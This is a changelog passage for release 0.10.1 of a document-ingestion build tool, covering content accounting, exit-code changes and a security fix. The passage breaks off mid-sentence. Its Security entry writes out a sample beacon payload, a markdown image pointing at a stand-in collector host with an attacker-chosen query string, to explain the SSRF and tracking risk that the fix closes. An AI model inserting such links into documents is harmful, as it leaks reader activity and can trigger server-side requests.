# Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [0.10.1] — 2026-09-18 ### Added - **`okf build --accounting PATH`: content accounting per element.** Before extraction, every source document is inventoried in a per-format element vocabulary: headings, paragraphs, tables, cells, images, and so on. After the run, every element gets exactly one fate: `carried`, `pointer` or a coded rejection. The fates are written as JSON to PATH and summarised in `log.md`. The build then exits 1 when any element is unaccounted or booked twice. - **`carried` is checked, not declared.** A persisted document's element is carried when all of its text is found in the concept bodies written for that document (letters and digits, case-folded). A document the gate refused books every element as rejected with the gate's code, and its `log.md` line says what the source held. - **The judge is `tools/okf_accounting_gate.py`**, written red first against an independent witness (`tools/okf_witness.py`, which imports nothing from this package). At this change it is green on all six rows, including R761 Prosesskoden:2025: 110 of 110 units under both the default gate and `--gate none`. - **Opt-in, measured.** On the 43-document reference corpus the build took +744 s (+19 %) and +0.53 GB peak RSS. - **The reference corpus fails the check, with 24 real losses:** 22 images on PDF pages without a text layer, which the reader drops together with the page, and 2 docx Title paragraphs, which the converter moves into metadata. A default-on door would therefore fail builds that pass today. Report: `docs/2026-09-17-innholdsregnskapet-bygget.md`. - **Opt-in by operator decision (2026-09-17)**, until the losses it reports on the reference corpus are fixed. Of the three exceptions the gate proposes, the operator approved the PDF one only; approving it moves no number, because no witness counts a heading in a PDF. - **Limit, measured:** the check proves that a string is present, not where. Short elements such as a section label or a one-word title are often found elsewhere in the same document. With R761's concept text cut to half, 4 823 paragraphs and 3 621 sections were reported lost, but only 3 titles and 16 labels. ### Changed - **`okf build` exits 1 when it extracted at least one document and persisted none.** Until now such a run exited 0, because every refusal was coded and the conservation identity held. The bundle was nonetheless empty. Measured case: guard 1.4.0 refuses R761 Prosesskoden:2025 whole, because of its 71 soft hyphens (U+00AD). Door B's library function (`process_inbox`) and `corpus.measure` are unchanged; for a hostile inbox, "all rejected" is a correct outcome. - In this repository, one test relied on exit 0: `tests/test_cli_gate.py::test_build_refuses_a_document_the_real_guard_refuses`. - No script here does. `okf project` calls the build as a function and is unaffected. - **A file carried through a document is no longer also a coded rejection.** Since 0.10.0, an image beside a document was carried into `assets/` through that document and was ALSO counted as `extractor_unknown`, so one file had two fates. On R761 under `--gate none` that was 50 files. - The conservation identity is now `merged + files carried through a document + coded rejections = N`. - `log.md` writes the middle term only when it is non-zero, so a corpus with no such files keeps its line byte for byte. - The carried files are the references the reader actually resolved and carried (`ExtractedDocument.files`), never a byte match. A byte match would credit R761's 7 unpointed duplicates. - An unpointed file beside a document stays a coded rejection. - **`log.md`'s `Images: C carried of F found`**: with `--accounting`, F is what the SOURCES declare. A refused document's pictures therefore no longer read as "0 of 0 found". ### Security - **A remote image reference is no longer a live markdown image link (0.10.1).** New in 0.10.0: before it, no reader read an `` attribute at all. A document could put `![fig](https://collect.example.net/p.gif?u=...)` into a persisted concept, with the address and query string chosen by whoever wrote the document. This package opens no socket, but a consumer that renders the bundle — or an agent that fetches what it renders — does, which turns "this bundle was opened" into a beacon, and a server-side consumer into an SSRF. The guard refuses such a line at `guard-user-upload` and the build's default tier does not, so the same bytes were persisted under the default and refused one tier up. A remote reference is now inert text with the address in ONE code span, and a property test over the readers asserts that no reference produces a markdown image link outside `assets/`. Found by an independent review of 0.10.0 before it was pushed. - The first fix wrote the address **twice** — once in a code span and once bare — and a GFM/linkify renderer autolinks a bare URL into ``. It takes a click rather than a render, so it is weaker than an image link, but "inert" was half true. The address is now written once. - The first fix also **dropped the caption**: `label` stayed in the signature of the line that says what is missing, and no branch read it, so the alt text or figure caption of an image the bundle does not carry was lost — a regression against 0.10.0 and against that line's own reason for existing. It is written again, in the same `--